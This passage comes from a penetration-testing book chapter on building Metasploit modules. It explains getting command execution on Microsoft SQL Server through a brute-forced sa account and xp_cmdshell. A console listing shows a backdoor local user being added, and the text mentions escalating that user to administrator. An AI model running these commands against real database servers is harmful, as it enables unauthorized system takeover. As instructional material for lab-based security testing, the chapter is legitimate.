Chapter 13. Building Your Own Module

Building your own Metasploit module is relatively simple, as long as you have some programming experience and an idea of what you want to build. Because Metasploit is primarily Ruby-based, we’ll be working in the Ruby programming language in this chapter. If you aren’t a Ruby ninja yet, but you have some exposure to the language, don’t fret; continue to practice and learn. It’s fairly easy to learn Ruby as you go. If you find yourself struggling with the concepts in this chapter, skip it for now, try to build up your Ruby knowledge, and revisit the chapter.

In this chapter, we’ll write a module called mssql_powershell to harness a technique released at the Defcon 18 Hacking Conference by Josh Kelley (winfang) and David Kennedy. This module targets Windows platforms with Microsoft’s PowerShell installed (the default on Windows 7).

This module converts a standard MSF binary payload to a hex-blob (a hexadecimal representation of binary data) that can be transmitted to a target system through Microsoft SQL commands. Once this payload is on the target system, a PowerShell script is used to convert the hexadecimal data back to a binary executable, execute it, and deliver a shell to the attacker. This module is already in Metasploit and was developed by one of the authors of this book; it’s a great lesson on how to build your own modules.

The ability to convert a binary to hexadecimal, transmit it via MS SQL, and convert it back to binary is an excellent example of how powerful the Metasploit Framework can be. As you’re performing penetration tests, you will encounter many unfamiliar scenarios or situations; your ability to create or modify modules and exploits on the fly will give you that needed edge. As you begin to understand the Framework, you’ll be able to write these types of modules in a relatively short amount of time.

Getting Command Execution on Microsoft SQL

As mentioned in Chapter 6, most system administrators set the sa (system administrator) account password to something weak, not realizing the impact of this simple mistake. The sa account is installed by default with the SQL role of sysadmin, and when you’re performing penetration tests, you can almost guarantee that a weak or blank sa account will exist on Microsoft SQL Server instances. We will use the MS SQL instance that you built in Appendix A to exploit a situation with our module. As discussed in Chapter 6, you initially scan the system with the Metasploit auxiliary modules and brute force the weak sa account.

Once you have brute forced the sa account, you can insert, drop, create, and perform most other tasks you would normally use in MS SQL. This includes calling an extended administrative-level stored procedure called xp_cmdshell, as discussed in Chapter 6. This stored procedure lets you execute underlying operating system commands under the same security context used by the SQL Server service (for example, Local System).

Note

MS SQL installs with this stored procedure disabled in SQL Server 2005 and 2008, but you can re-enable it using SQL commands if you have the sysadmin role within MS SQL. For example, you could use SELECT loginname FROM master..syslogins WHERE sysadmin=1 to view all users with this level of access and then become one of those users. If you have the sysadmin role, you’re almost guaranteed a full-system compromise.

The following listing demonstrates how to run basic commands through Metasploit’s MS SQL modules:

 use msf > use admin/mssql/mssql_exec
 msf auxiliary(mssql_exec) > show options

  Module options:

     Name      Current Setting                       Required  Description
     ----      ---------------                       --------  -----------
     CMD       cmd.exe /c echo OWNED > C:\owned.exe  no        Command to execute
     PASSWORD                                        no        The password for the
                                                                 specified username
     RHOST                                           yes       The target address
     RPORT     1433                                  yes       The target port
     USERNAME  sa                                    no
        The username to authenticate as

 msf auxiliary(mssql_exec) > set RHOST 172.16.32.136
  RHOST => 172.16.32.136
 msf auxiliary(mssql_exec) > set CMD net user metasploit p@55w0rd /ADD
  CMD => net user metasploit p@55w0rd /ADD
  msf auxiliary(mssql_exec) > exploit

  [*] SQL Query: EXEC master..xp_cmdshell 'net user metasploit p@55w0rd /ADD'

   output
   ------
 The command completed successfully.

  [*] Auxiliary module execution completed
  msf auxiliary(mssql_exec) >

In this example, we first select the mssql_exec auxiliary module at , which calls the xp_cmdshell stored procedure to execute commands. Next, we view the module’s options at and set our target at and the command to execute on the target at . Finally, we run the exploit with exploit, and you can see at that the exploit is successful. We’ve added a user to the system using the xp_cmdshell stored procedure. (At this point we could enter net localgroup administrators metasploit /ADD to add the user to the local administrators group on the compromised system.)

You can think of the mssql_exec module as a command prompt accessible via MS SQL.